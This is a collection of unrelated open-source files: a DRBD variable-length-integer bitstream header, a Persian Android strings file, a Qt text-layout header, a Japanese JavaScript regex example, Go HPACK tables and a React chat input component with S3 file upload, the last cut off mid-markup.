/* -*- linux-c -*- drbd_receiver.c This file is part of DRBD by Philipp Reisner and Lars Ellenberg. Copyright (C) 2001-2008, LINBIT Information Technologies GmbH. Copyright (C) 1999-2008, Philipp Reisner <[email protected]>. Copyright (C) 2002-2008, Lars Ellenberg <[email protected]>. drbd is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. drbd is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with drbd; see the file COPYING. If not, write to the Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA. */ #ifndef _DRBD_VLI_H #define _DRBD_VLI_H /* * At a granularity of 4KiB storage represented per bit, * and stroage sizes of several TiB, * and possibly small-bandwidth replication, * the bitmap transfer time can take much too long, * if transmitted in plain text. * * We try to reduce the transferred bitmap information * by encoding runlengths of bit polarity. * * We never actually need to encode a "zero" (runlengths are positive). * But then we have to store the value of the first bit. * The first bit of information thus shall encode if the first runlength * gives the number of set or unset bits. * * We assume that large areas are either completely set or unset, * which gives good compression with any runlength method, * even when encoding the runlength as fixed size 32bit/64bit integers. * * Still, there may be areas where the polarity flips every few bits, * and encoding the runlength sequence of those areas with fix size * integers would be much worse than plaintext. * * We want to encode small runlength values with minimum code length, * while still being able to encode a Huge run of all zeros. * * Thus we need a Variable Length Integer encoding, VLI. * * For some cases, we produce more code bits than plaintext input. * We need to send incompressible chunks as plaintext, skip over them * and then see if the next chunk compresses better. * * We don't care too much about "excellent" compression ratio for large * runlengths (all set/all clear): whether we achieve a factor of 100 * or 1000 is not that much of an issue. * We do not want to waste too much on short runlengths in the "noisy" * parts of the bitmap, though. * * There are endless variants of VLI, we experimented with: * * simple byte-based * * various bit based with different code word length. * * To avoid yet an other configuration parameter (choice of bitmap compression * algorithm) which was difficult to explain and tune, we just chose the one * variant that turned out best in all test cases. * Based on real world usage patterns, with device sizes ranging from a few GiB * to several TiB, file server/mailserver/webserver/mysql/postgress, * mostly idle to really busy, the all time winner (though sometimes only * marginally better) is: */ /* * encoding is "visualised" as * __little endian__ bitstream, least significant bit first (left most) * * this particular encoding is chosen so that the prefix code * starts as unary encoding the level, then modified so that * 10 levels can be described in 8bit, with minimal overhead * for the smaller levels. * * Number of data bits follow fibonacci sequence, with the exception of the * last level (+1 data bit, so it makes 64bit total). The only worse code when * encoding bit polarity runlength is 1 plain bits => 2 code bits. prefix data bits max val Nº data bits 0 x 0x2 1 10 x 0x4 1 110 xx 0x8 2 1110 xxx 0x10 3 11110 xxx xx 0x30 5 111110 xx xxxxxx 0x130 8 11111100 xxxxxxxx xxxxx 0x2130 13 11111110 xxxxxxxx xxxxxxxx xxxxx 0x202130 21 11111101 xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx xx 0x400202130 34 11111111 xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx 56 * maximum encodable value: 0x100000400202130 == 2**56 + some */ /* compression "table": transmitted x 0.29 as plaintext x ........................ x ........................ x ........................ x 0.59 0.21........................ x ........................................................ x .. c ................................................... x 0.44.. o ................................................... x .......... d ................................................... x .......... e ................................................... X............. ................................................... x.............. b ................................................... 2.0x............... i ................................................... #X................ t ................................................... #................. s ........................... plain bits .......... -+----------------------------------------------------------------------- 1 16 32 64 */ /* LEVEL: (total bits, prefix bits, prefix value), * sorted ascending by number of total bits. * The rest of the code table is calculated at compiletime from this. */ /* fibonacci data 1, 1, ... */ #define VLI_L_1_1() do { \ LEVEL( 2, 1, 0x00); \ LEVEL( 3, 2, 0x01); \ LEVEL( 5, 3, 0x03); \ LEVEL( 7, 4, 0x07); \ LEVEL(10, 5, 0x0f); \ LEVEL(14, 6, 0x1f); \ LEVEL(21, 8, 0x3f); \ LEVEL(29, 8, 0x7f); \ LEVEL(42, 8, 0xbf); \ LEVEL(64, 8, 0xff); \ } while (0) /* finds a suitable level to decode the least significant part of in. * returns number of bits consumed. * * BUG() for bad input, as that would mean a buggy code table. */ static inline int vli_decode_bits(u64 *out, const u64 in) { u64 adj = 1; #define LEVEL(t,b,v) \ do { \ if ((in & ((1 << b) -1)) == v) { \ *out = ((in & ((~0ULL) >> (64-t))) >> b) + adj; \ return t; \ } \ adj += 1ULL << (t - b); \ } while (0) VLI_L_1_1(); /* NOT REACHED, if VLI_LEVELS code table is defined properly */ BUG(); #undef LEVEL } /* return number of code bits needed, * or negative error number */ static inline int __vli_encode_bits(u64 *out, const u64 in) { u64 max = 0; u64 adj = 1; if (in == 0) return -EINVAL; #define LEVEL(t,b,v) do { \ max += 1ULL << (t - b); \ if (in <= max) { \ if (out) \ *out = ((in - adj) << b) | v; \ return t; \ } \ adj = max + 1; \ } while (0) VLI_L_1_1(); return -EOVERFLOW; #undef LEVEL } #undef VLI_L_1_1 /* code from here down is independend of actually used bit code */ /* * Code length is determined by some unique (e.g. unary) prefix. * This encodes arbitrary bit length, not whole bytes: we have a bit-stream, * not a byte stream. */ /* for the bitstream, we need a cursor */ struct bitstream_cursor { /* the current byte */ u8 *b; /* the current bit within *b, nomalized: 0..7 */ unsigned int bit; }; /* initialize cursor to point to first bit of stream */ static inline void bitstream_cursor_reset(struct bitstream_cursor *cur, void *s) { cur->b = s; cur->bit = 0; } /* advance cursor by that many bits; maximum expected input value: 64, * but depending on VLI implementation, it may be more. */ static inline void bitstream_cursor_advance(struct bitstream_cursor *cur, unsigned int bits) { bits += cur->bit; cur->b = cur->b + (bits >> 3); cur->bit = bits & 7; } /* the bitstream itself knows its length */ struct bitstream { struct bitstream_cursor cur; unsigned char *buf; size_t buf_len; /* in bytes */ /* for input stream: * number of trailing 0 bits for padding * total number of valid bits in stream: buf_len * 8 - pad_bits */ unsigned int pad_bits; }; static inline void bitstream_init(struct bitstream *bs, void *s, size_t len, unsigned int pad_bits) { bs->buf = s; bs->buf_len = len; bs->pad_bits = pad_bits; bitstream_cursor_reset(&bs->cur, bs->buf); } static inline void bitstream_rewind(struct bitstream *bs) { bitstream_cursor_reset(&bs->cur, bs->buf); memset(bs->buf, 0, bs->buf_len); } /* Put (at most 64) least significant bits of val into bitstream, and advance cursor. * Ignores "pad_bits". * Returns zero if bits == 0 (nothing to do). * Returns number of bits used if successful. * * If there is not enough room left in bitstream, * leaves bitstream unchanged and returns -ENOBUFS. */ static inline int bitstream_put_bits(struct bitstream *bs, u64 val, const unsigned int bits) { unsigned char *b = bs->cur.b; unsigned int tmp; if (bits == 0) return 0; if ((bs->cur.b + ((bs->cur.bit + bits -1) >> 3)) - bs->buf >= bs->buf_len) return -ENOBUFS; /* paranoia: strip off hi bits; they should not be set anyways. */ if (bits < 64) val &= ~0ULL >> (64 - bits); *b++ |= (val & 0xff) << bs->cur.bit; for (tmp = 8 - bs->cur.bit; tmp < bits; tmp += 8) *b++ |= (val >> tmp) & 0xff; bitstream_cursor_advance(&bs->cur, bits); return bits; } /* Fetch (at most 64) bits from bitstream into *out, and advance cursor. * * If more than 64 bits are requested, returns -EINVAL and leave *out unchanged. * * If there are less than the requested number of valid bits left in the * bitstream, still fetches all available bits. * * Returns number of actually fetched bits. */ static inline int bitstream_get_bits(struct bitstream *bs, u64 *out, int bits) { u64 val; unsigned int n; if (bits > 64) return -EINVAL; if (bs->cur.b + ((bs->cur.bit + bs->pad_bits + bits -1) >> 3) - bs->buf >= bs->buf_len) bits = ((bs->buf_len - (bs->cur.b - bs->buf)) << 3) - bs->cur.bit - bs->pad_bits; if (bits == 0) { *out = 0; return 0; } /* get the high bits */ val = 0; n = (bs->cur.bit + bits + 7) >> 3; /* n may be at most 9, if cur.bit + bits > 64 */ /* which means this copies at most 8 byte */ if (n) { memcpy(&val, bs->cur.b+1, n - 1); val = le64_to_cpu(val) << (8 - bs->cur.bit); } /* we still need the low bits */ val |= bs->cur.b[0] >> bs->cur.bit; /* and mask out bits we don't want */ val &= ~0ULL >> (64 - bits); bitstream_cursor_advance(&bs->cur, bits); *out = val; return bits; } /* encodes @in as vli into @bs; * return values * > 0: number of bits successfully stored in bitstream * -ENOBUFS @bs is full * -EINVAL input zero (invalid) * -EOVERFLOW input too large for this vli code (invalid) */ static inline int vli_encode_bits(struct bitstream *bs, u64 in) { u64 code = code; int bits = __vli_encode_bits(&code, in); if (bits <= 0) return bits; return bitstream_put_bits(bs, code, bits); } #endif
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <!-- ~ Copyright 2019 Google LLC ~ ~ Licensed under the Apache License, Version 2.0 (the "License"); ~ you may not use this file except in compliance with the License. ~ You may obtain a copy of the License at ~ ~ https://www.apache.org/licenses/LICENSE-2.0 ~ ~ Unless required by applicable law or agreed to in writing, software ~ distributed under the License is distributed on an "AS IS" BASIS, ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ~ See the License for the specific language governing permissions and ~ limitations under the License. --> <resources> <string name="playstore_tagline">دستیار شما برای پیمایش I/O، چه به‌صورت حضوری شرکت داشته باشید چه از راه دور.</string> <string name="playstore_change">به‌روزرسانی‌شده برای Google I/O 2018‏\n• رزرو صندلی برای رویدادها جلوتر از زما‌ن‌بندی\n• مطالعه اطلاعات مهم درباره «رویداد»، جزئیات «سفر» و سوالات متداول.</string> <string name="playstore_required_permissions">مجوزهای لازم</string> <string name="playstore_optional_permissions">مجوزهای اختیاری</string> <string name="playstore_permission_location_information">اطلاعات مکان: برای نشان دادن نقشه محل برگزاری در اطراف مکان کاربر نیاز است.</string> </resources>
{ "pile_set_name": "Github" }
/**************************************************************************** ** ** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies). ** Contact: http://www.qt-project.org/legal ** ** This file is part of the QtGui module of the Qt Toolkit. ** ** $QT_BEGIN_LICENSE:LGPL$ ** Commercial License Usage ** Licensees holding valid commercial Qt licenses may use this file in ** accordance with the commercial license agreement provided with the ** Software or, alternatively, in accordance with the terms contained in ** a written agreement between you and Digia. For licensing terms and ** conditions see http://qt.digia.com/licensing. For further information ** use the contact form at http://qt.digia.com/contact-us. ** ** GNU Lesser General Public License Usage ** Alternatively, this file may be used under the terms of the GNU Lesser ** General Public License version 2.1 as published by the Free Software ** Foundation and appearing in the file LICENSE.LGPL included in the ** packaging of this file. Please review the following information to ** ensure the GNU Lesser General Public License version 2.1 requirements ** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. ** ** In addition, as a special exception, Digia gives you certain additional ** rights. These rights are described in the Digia Qt LGPL Exception ** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. ** ** GNU General Public License Usage ** Alternatively, this file may be used under the terms of the GNU ** General Public License version 3.0 as published by the Free Software ** Foundation and appearing in the file LICENSE.GPL included in the ** packaging of this file. Please review the following information to ** ensure the GNU General Public License version 3.0 requirements will be ** met: http://www.gnu.org/copyleft/gpl.html. ** ** ** $QT_END_LICENSE$ ** ****************************************************************************/ #ifndef QTEXTLAYOUT_H #define QTEXTLAYOUT_H #include <QtCore/qstring.h> #include <QtCore/qnamespace.h> #include <QtCore/qrect.h> #include <QtCore/qvector.h> #include <QtGui/qcolor.h> #include <QtCore/qobject.h> #include <QtGui/qevent.h> #include <QtGui/qtextformat.h> #include <QtGui/qglyphrun.h> #include <QtGui/qtextcursor.h> QT_BEGIN_NAMESPACE class QTextEngine; class QFont; #ifndef QT_NO_RAWFONT class QRawFont; #endif class QRect; class QRegion; class QTextFormat; class QPalette; class QPainter; class Q_GUI_EXPORT QTextInlineObject { public: QTextInlineObject(int i, QTextEngine *e) : itm(i), eng(e) {} inline QTextInlineObject() : itm(0), eng(0) {} inline bool isValid() const { return eng; } QRectF rect() const; qreal width() const; qreal ascent() const; qreal descent() const; qreal height() const; Qt::LayoutDirection textDirection() const; void setWidth(qreal w); void setAscent(qreal a); void setDescent(qreal d); int textPosition() const; int formatIndex() const; QTextFormat format() const; private: friend class QTextLayout; int itm; QTextEngine *eng; }; class QPaintDevice; class QTextFormat; class QTextLine; class QTextBlock; class QTextOption; class Q_GUI_EXPORT QTextLayout { public: // does itemization QTextLayout(); QTextLayout(const QString& text); QTextLayout(const QString& text, const QFont &font, QPaintDevice *paintdevice = 0); QTextLayout(const QTextBlock &b); ~QTextLayout(); void setFont(const QFont &f); QFont font() const; #ifndef QT_NO_RAWFONT void setRawFont(const QRawFont &rawFont); #endif void setText(const QString& string); QString text() const; void setTextOption(const QTextOption &option); const QTextOption &textOption() const; void setPreeditArea(int position, const QString &text); int preeditAreaPosition() const; QString preeditAreaText() const; struct FormatRange { int start; int length; QTextCharFormat format; }; void setAdditionalFormats(const QList<FormatRange> &overrides); QList<FormatRange> additionalFormats() const; void clearAdditionalFormats(); void setCacheEnabled(bool enable); bool cacheEnabled() const; void setCursorMoveStyle(Qt::CursorMoveStyle style); Qt::CursorMoveStyle cursorMoveStyle() const; void beginLayout(); void endLayout(); void clearLayout(); QTextLine createLine(); int lineCount() const; QTextLine lineAt(int i) const; QTextLine lineForTextPosition(int pos) const; enum CursorMode { SkipCharacters, SkipWords }; bool isValidCursorPosition(int pos) const; int nextCursorPosition(int oldPos, CursorMode mode = SkipCharacters) const; int previousCursorPosition(int oldPos, CursorMode mode = SkipCharacters) const; int leftCursorPosition(int oldPos) const; int rightCursorPosition(int oldPos) const; void draw(QPainter *p, const QPointF &pos, const QVector<FormatRange> &selections = QVector<FormatRange>(), const QRectF &clip = QRectF()) const; void drawCursor(QPainter *p, const QPointF &pos, int cursorPosition) const; void drawCursor(QPainter *p, const QPointF &pos, int cursorPosition, int width) const; QPointF position() const; void setPosition(const QPointF &p); QRectF boundingRect() const; qreal minimumWidth() const; qreal maximumWidth() const; #if !defined(QT_NO_RAWFONT) QList<QGlyphRun> glyphRuns(int from = -1, int length = -1) const; #endif QTextEngine *engine() const { return d; } void setFlags(int flags); private: QTextLayout(QTextEngine *e) : d(e) {} Q_DISABLE_COPY(QTextLayout) friend class QPainter; friend class QGraphicsSimpleTextItemPrivate; friend class QGraphicsSimpleTextItem; friend void qt_format_text(const QFont &font, const QRectF &_r, int tf, const QTextOption *, const QString& str, QRectF *brect, int tabstops, int* tabarray, int tabarraylen, QPainter *painter); QTextEngine *d; }; class Q_GUI_EXPORT QTextLine { public: inline QTextLine() : index(0), eng(0) {} inline bool isValid() const { return eng; } QRectF rect() const; qreal x() const; qreal y() const; qreal width() const; qreal ascent() const; qreal descent() const; qreal height() const; qreal leading() const; void setLeadingIncluded(bool included); bool leadingIncluded() const; qreal naturalTextWidth() const; qreal horizontalAdvance() const; QRectF naturalTextRect() const; enum Edge { Leading, Trailing }; enum CursorPosition { CursorBetweenCharacters, CursorOnCharacter }; /* cursorPos gets set to the valid position */ qreal cursorToX(int *cursorPos, Edge edge = Leading) const; inline qreal cursorToX(int cursorPos, Edge edge = Leading) const { return cursorToX(&cursorPos, edge); } int xToCursor(qreal x, CursorPosition = CursorBetweenCharacters) const; void setLineWidth(qreal width); void setNumColumns(int columns); void setNumColumns(int columns, qreal alignmentWidth); void setPosition(const QPointF &pos); QPointF position() const; int textStart() const; int textLength() const; int lineNumber() const { return index; } void draw(QPainter *p, const QPointF &point, const QTextLayout::FormatRange *selection = 0) const; #if !defined(QT_NO_RAWFONT) QList<QGlyphRun> glyphRuns(int from = -1, int length = -1) const; #endif private: QTextLine(int line, QTextEngine *e) : index(line), eng(e) {} void layout_helper(int numGlyphs); friend class QTextLayout; friend class QTextFragment; int index; QTextEngine *eng; }; QT_END_NAMESPACE #endif // QTEXTLAYOUT_H
{ "pile_set_name": "Github" }
// 正規表現リテラルはロード時にパターンが評価され、例外が発生する function main() { // `[`は対となる`]`を組み合わせる特殊文字であるため、単独で書けない const invalidPattern = /[/; } // `main`関数を呼び出さなくても例外が発生する
{ "pile_set_name": "Github" }
// Copyright 2014 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package hpack import ( "fmt" ) // headerFieldTable implements a list of HeaderFields. // This is used to implement the static and dynamic tables. type headerFieldTable struct { // For static tables, entries are never evicted. // // For dynamic tables, entries are evicted from ents[0] and added to the end. // Each entry has a unique id that starts at one and increments for each // entry that is added. This unique id is stable across evictions, meaning // it can be used as a pointer to a specific entry. As in hpack, unique ids // are 1-based. The unique id for ents[k] is k + evictCount + 1. // // Zero is not a valid unique id. // // evictCount should not overflow in any remotely practical situation. In // practice, we will have one dynamic table per HTTP/2 connection. If we // assume a very powerful server that handles 1M QPS per connection and each // request adds (then evicts) 100 entries from the table, it would still take // 2M years for evictCount to overflow. ents []HeaderField evictCount uint64 // byName maps a HeaderField name to the unique id of the newest entry with // the same name. See above for a definition of "unique id". byName map[string]uint64 // byNameValue maps a HeaderField name/value pair to the unique id of the newest // entry with the same name and value. See above for a definition of "unique id". byNameValue map[pairNameValue]uint64 } type pairNameValue struct { name, value string } func (t *headerFieldTable) init() { t.byName = make(map[string]uint64) t.byNameValue = make(map[pairNameValue]uint64) } // len reports the number of entries in the table. func (t *headerFieldTable) len() int { return len(t.ents) } // addEntry adds a new entry. func (t *headerFieldTable) addEntry(f HeaderField) { id := uint64(t.len()) + t.evictCount + 1 t.byName[f.Name] = id t.byNameValue[pairNameValue{f.Name, f.Value}] = id t.ents = append(t.ents, f) } // evictOldest evicts the n oldest entries in the table. func (t *headerFieldTable) evictOldest(n int) { if n > t.len() { panic(fmt.Sprintf("evictOldest(%v) on table with %v entries", n, t.len())) } for k := 0; k < n; k++ { f := t.ents[k] id := t.evictCount + uint64(k) + 1 if t.byName[f.Name] == id { delete(t.byName, f.Name) } if p := (pairNameValue{f.Name, f.Value}); t.byNameValue[p] == id { delete(t.byNameValue, p) } } copy(t.ents, t.ents[n:]) for k := t.len() - n; k < t.len(); k++ { t.ents[k] = HeaderField{} // so strings can be garbage collected } t.ents = t.ents[:t.len()-n] if t.evictCount+uint64(n) < t.evictCount { panic("evictCount overflow") } t.evictCount += uint64(n) } // search finds f in the table. If there is no match, i is 0. // If both name and value match, i is the matched index and nameValueMatch // becomes true. If only name matches, i points to that index and // nameValueMatch becomes false. // // The returned index is a 1-based HPACK index. For dynamic tables, HPACK says // that index 1 should be the newest entry, but t.ents[0] is the oldest entry, // meaning t.ents is reversed for dynamic tables. Hence, when t is a dynamic // table, the return value i actually refers to the entry t.ents[t.len()-i]. // // All tables are assumed to be a dynamic tables except for the global // staticTable pointer. // // See Section 2.3.3. func (t *headerFieldTable) search(f HeaderField) (i uint64, nameValueMatch bool) { if !f.Sensitive { if id := t.byNameValue[pairNameValue{f.Name, f.Value}]; id != 0 { return t.idToIndex(id), true } } if id := t.byName[f.Name]; id != 0 { return t.idToIndex(id), false } return 0, false } // idToIndex converts a unique id to an HPACK index. // See Section 2.3.3. func (t *headerFieldTable) idToIndex(id uint64) uint64 { if id <= t.evictCount { panic(fmt.Sprintf("id (%v) <= evictCount (%v)", id, t.evictCount)) } k := id - t.evictCount - 1 // convert id to an index t.ents[k] if t != staticTable { return uint64(t.len()) - k // dynamic table } return k + 1 } // http://tools.ietf.org/html/draft-ietf-httpbis-header-compression-07#appendix-B var staticTable = newStaticTable() var staticTableEntries = [...]HeaderField{ {Name: ":authority"}, {Name: ":method", Value: "GET"}, {Name: ":method", Value: "POST"}, {Name: ":path", Value: "/"}, {Name: ":path", Value: "/index.html"}, {Name: ":scheme", Value: "http"}, {Name: ":scheme", Value: "https"}, {Name: ":status", Value: "200"}, {Name: ":status", Value: "204"}, {Name: ":status", Value: "206"}, {Name: ":status", Value: "304"}, {Name: ":status", Value: "400"}, {Name: ":status", Value: "404"}, {Name: ":status", Value: "500"}, {Name: "accept-charset"}, {Name: "accept-encoding", Value: "gzip, deflate"}, {Name: "accept-language"}, {Name: "accept-ranges"}, {Name: "accept"}, {Name: "access-control-allow-origin"}, {Name: "age"}, {Name: "allow"}, {Name: "authorization"}, {Name: "cache-control"}, {Name: "content-disposition"}, {Name: "content-encoding"}, {Name: "content-language"}, {Name: "content-length"}, {Name: "content-location"}, {Name: "content-range"}, {Name: "content-type"}, {Name: "cookie"}, {Name: "date"}, {Name: "etag"}, {Name: "expect"}, {Name: "expires"}, {Name: "from"}, {Name: "host"}, {Name: "if-match"}, {Name: "if-modified-since"}, {Name: "if-none-match"}, {Name: "if-range"}, {Name: "if-unmodified-since"}, {Name: "last-modified"}, {Name: "link"}, {Name: "location"}, {Name: "max-forwards"}, {Name: "proxy-authenticate"}, {Name: "proxy-authorization"}, {Name: "range"}, {Name: "referer"}, {Name: "refresh"}, {Name: "retry-after"}, {Name: "server"}, {Name: "set-cookie"}, {Name: "strict-transport-security"}, {Name: "transfer-encoding"}, {Name: "user-agent"}, {Name: "vary"}, {Name: "via"}, {Name: "www-authenticate"}, } func newStaticTable() *headerFieldTable { t := &headerFieldTable{} t.init() for _, e := range staticTableEntries[:] { t.addEntry(e) } return t } var huffmanCodes = [256]uint32{ 0x1ff8, 0x7fffd8, 0xfffffe2, 0xfffffe3, 0xfffffe4, 0xfffffe5, 0xfffffe6, 0xfffffe7, 0xfffffe8, 0xffffea, 0x3ffffffc, 0xfffffe9, 0xfffffea, 0x3ffffffd, 0xfffffeb, 0xfffffec, 0xfffffed, 0xfffffee, 0xfffffef, 0xffffff0, 0xffffff1, 0xffffff2, 0x3ffffffe, 0xffffff3, 0xffffff4, 0xffffff5, 0xffffff6, 0xffffff7, 0xffffff8, 0xffffff9, 0xffffffa, 0xffffffb, 0x14, 0x3f8, 0x3f9, 0xffa, 0x1ff9, 0x15, 0xf8, 0x7fa, 0x3fa, 0x3fb, 0xf9, 0x7fb, 0xfa, 0x16, 0x17, 0x18, 0x0, 0x1, 0x2, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x5c, 0xfb, 0x7ffc, 0x20, 0xffb, 0x3fc, 0x1ffa, 0x21, 0x5d, 0x5e, 0x5f, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0xfc, 0x73, 0xfd, 0x1ffb, 0x7fff0, 0x1ffc, 0x3ffc, 0x22, 0x7ffd, 0x3, 0x23, 0x4, 0x24, 0x5, 0x25, 0x26, 0x27, 0x6, 0x74, 0x75, 0x28, 0x29, 0x2a, 0x7, 0x2b, 0x76, 0x2c, 0x8, 0x9, 0x2d, 0x77, 0x78, 0x79, 0x7a, 0x7b, 0x7ffe, 0x7fc, 0x3ffd, 0x1ffd, 0xffffffc, 0xfffe6, 0x3fffd2, 0xfffe7, 0xfffe8, 0x3fffd3, 0x3fffd4, 0x3fffd5, 0x7fffd9, 0x3fffd6, 0x7fffda, 0x7fffdb, 0x7fffdc, 0x7fffdd, 0x7fffde, 0xffffeb, 0x7fffdf, 0xffffec, 0xffffed, 0x3fffd7, 0x7fffe0, 0xffffee, 0x7fffe1, 0x7fffe2, 0x7fffe3, 0x7fffe4, 0x1fffdc, 0x3fffd8, 0x7fffe5, 0x3fffd9, 0x7fffe6, 0x7fffe7, 0xffffef, 0x3fffda, 0x1fffdd, 0xfffe9, 0x3fffdb, 0x3fffdc, 0x7fffe8, 0x7fffe9, 0x1fffde, 0x7fffea, 0x3fffdd, 0x3fffde, 0xfffff0, 0x1fffdf, 0x3fffdf, 0x7fffeb, 0x7fffec, 0x1fffe0, 0x1fffe1, 0x3fffe0, 0x1fffe2, 0x7fffed, 0x3fffe1, 0x7fffee, 0x7fffef, 0xfffea, 0x3fffe2, 0x3fffe3, 0x3fffe4, 0x7ffff0, 0x3fffe5, 0x3fffe6, 0x7ffff1, 0x3ffffe0, 0x3ffffe1, 0xfffeb, 0x7fff1, 0x3fffe7, 0x7ffff2, 0x3fffe8, 0x1ffffec, 0x3ffffe2, 0x3ffffe3, 0x3ffffe4, 0x7ffffde, 0x7ffffdf, 0x3ffffe5, 0xfffff1, 0x1ffffed, 0x7fff2, 0x1fffe3, 0x3ffffe6, 0x7ffffe0, 0x7ffffe1, 0x3ffffe7, 0x7ffffe2, 0xfffff2, 0x1fffe4, 0x1fffe5, 0x3ffffe8, 0x3ffffe9, 0xffffffd, 0x7ffffe3, 0x7ffffe4, 0x7ffffe5, 0xfffec, 0xfffff3, 0xfffed, 0x1fffe6, 0x3fffe9, 0x1fffe7, 0x1fffe8, 0x7ffff3, 0x3fffea, 0x3fffeb, 0x1ffffee, 0x1ffffef, 0xfffff4, 0xfffff5, 0x3ffffea, 0x7ffff4, 0x3ffffeb, 0x7ffffe6, 0x3ffffec, 0x3ffffed, 0x7ffffe7, 0x7ffffe8, 0x7ffffe9, 0x7ffffea, 0x7ffffeb, 0xffffffe, 0x7ffffec, 0x7ffffed, 0x7ffffee, 0x7ffffef, 0x7fffff0, 0x3ffffee, } var huffmanCodeLen = [256]uint8{ 13, 23, 28, 28, 28, 28, 28, 28, 28, 24, 30, 28, 28, 30, 28, 28, 28, 28, 28, 28, 28, 28, 30, 28, 28, 28, 28, 28, 28, 28, 28, 28, 6, 10, 10, 12, 13, 6, 8, 11, 10, 10, 8, 11, 8, 6, 6, 6, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 7, 8, 15, 6, 12, 10, 13, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 7, 8, 13, 19, 13, 14, 6, 15, 5, 6, 5, 6, 5, 6, 6, 6, 5, 7, 7, 6, 6, 6, 5, 6, 7, 6, 5, 5, 6, 7, 7, 7, 7, 7, 15, 11, 14, 13, 28, 20, 22, 20, 20, 22, 22, 22, 23, 22, 23, 23, 23, 23, 23, 24, 23, 24, 24, 22, 23, 24, 23, 23, 23, 23, 21, 22, 23, 22, 23, 23, 24, 22, 21, 20, 22, 22, 23, 23, 21, 23, 22, 22, 24, 21, 22, 23, 23, 21, 21, 22, 21, 23, 22, 23, 23, 20, 22, 22, 22, 23, 22, 22, 23, 26, 26, 20, 19, 22, 23, 22, 25, 26, 26, 26, 27, 27, 26, 24, 25, 19, 21, 26, 27, 27, 26, 27, 24, 21, 21, 26, 26, 28, 27, 27, 27, 20, 24, 20, 21, 22, 21, 21, 23, 22, 22, 25, 25, 24, 24, 26, 23, 26, 27, 26, 26, 27, 27, 27, 27, 27, 28, 27, 27, 27, 27, 27, 26, }
{ "pile_set_name": "Github" }
/* global FileReader */ import React from 'react' import PropTypes from 'prop-types' import { createMessage } from '../graphql/mutations' import { getConvo } from '../graphql/queries' import { graphql } from 'react-apollo' import uuid from 'uuid/v4' import { Popover, PopoverHeader, PopoverBody } from 'reactstrap' import { Auth } from 'aws-amplify' import awsmobile from '../aws-exports' const EMPTY_FILE = { bucket: null, region: null, key: null, __typename: 'S3Object' } const VISIBILITY = 'protected' async function getFile(selectedFile) { if (!selectedFile) { return null } const bucket = awsmobile.aws_user_files_s3_bucket const region = awsmobile.aws_user_files_s3_bucket_region const { name: fileName, type: mimeType } = selectedFile const [, , , extension] = /([^.]+)(\.(\w+))?$/.exec(fileName) const { identityId } = await Auth.currentCredentials() const key = `${VISIBILITY}/${identityId}/${uuid()}${extension && '.'}${extension}` console.log(fileName, mimeType, extension, key) const file = { bucket, key, region, mimeType, localUri: selectedFile } return file } const doCreateMessage = ( mutation, content, file, convoId, userId ) => async () => { let contentTrim = content.trim() if (!contentTrim.length && file) { contentTrim = ' ' } const variables = { input: { id: uuid(), content: contentTrim, messageConversationId: convoId, isSent: true, chatbot: false, ...(file ? { file } : {}) } } mutation({ variables, optimisticResponse: { createMessage: { __typename: 'Message', ...variables.input, ...(file ? { file: EMPTY_FILE } : { file: null }), owner: userId, isSent: false, conversation: { __typename: 'Conversation', id: convoId, name: 'n/a', createdAt: 'n/a' }, createdAt: new Date().toISOString() } }, update: (proxy, { data: { createMessage: newMsg } }) => { const QUERY = { query: getConvo, variables: { id: convoId } } const prev = proxy.readQuery(QUERY) // console.log('view prev', JSON.stringify(prev, null, 2)) const data = { getConvo: { ...prev.getConvo, messages: { ...prev.getConvo.messages, items: [newMsg, ...prev.getConvo.messages.items] } } } // console.log('view data', JSON.stringify(data, null, 2)) proxy.writeQuery({ ...QUERY, data }) } }) } export default class InputBar extends React.Component { state = { content: '', popoverOpen: false } handleChange = e => { this.setState({ content: e.target.value }) } handleFileChange = e => { const file = e.target.files[0] console.log(file) if (file && file.type.startsWith('image/')) { const reader = new FileReader() const self = this reader.onload = function(e) { self.setState({ popoverOpen: true, filePreviewSrc: this.result }) } reader.readAsDataURL(file) this.setState({ file }) } } handleSubmit = async e => { console.log('submit') e.preventDefault() const { content, file: selectedFile } = this.state const { conversation, userId, createMessage } = this.props if (content.trim().length === 0 && !selectedFile) { return } const file = await getFile(selectedFile) console.log('file for s3', file) const mutator = doCreateMessage( createMessage, content, file, conversation.id, userId ) this.setState({ content: '', file: undefined, popoverOpen: false }, mutator) } close = () => { this.setState({ file: undefined, popoverOpen: false }) } render() { const { filePreviewSrc } = this.state const disabled = !this.props.conversation ? { disabled: 'disabled' } : {} const imgBtnClass = 'btn btn-block ' + (this.state.file ? 'btn-success' : 'btn-primary') return ( <div className="entry"> <div className="px-3 py-2 bg-light"> <form onSubmit={this.handleSubmit} {...disabled}> <div className="row"> <div className="col-12"> <div className="d-flex"> <div className="file-input-holder"> <input type="file" onChange={this.handleFileChange} {...disabled} /> <label className={imgBtnClass} id="Popover1"> <i className="fas fa-camera" /> </label> <Popover placement="top-start" isOpen={this.state.popoverOpen} target="Popover1" > <PopoverHeader> <span>Preview</span> <button type="button" className="close" aria-label="Close" onClick={this.close} > <span aria-hidden="true">&times;</span> </button> </PopoverHeader> <PopoverBody> <img alt="previw" 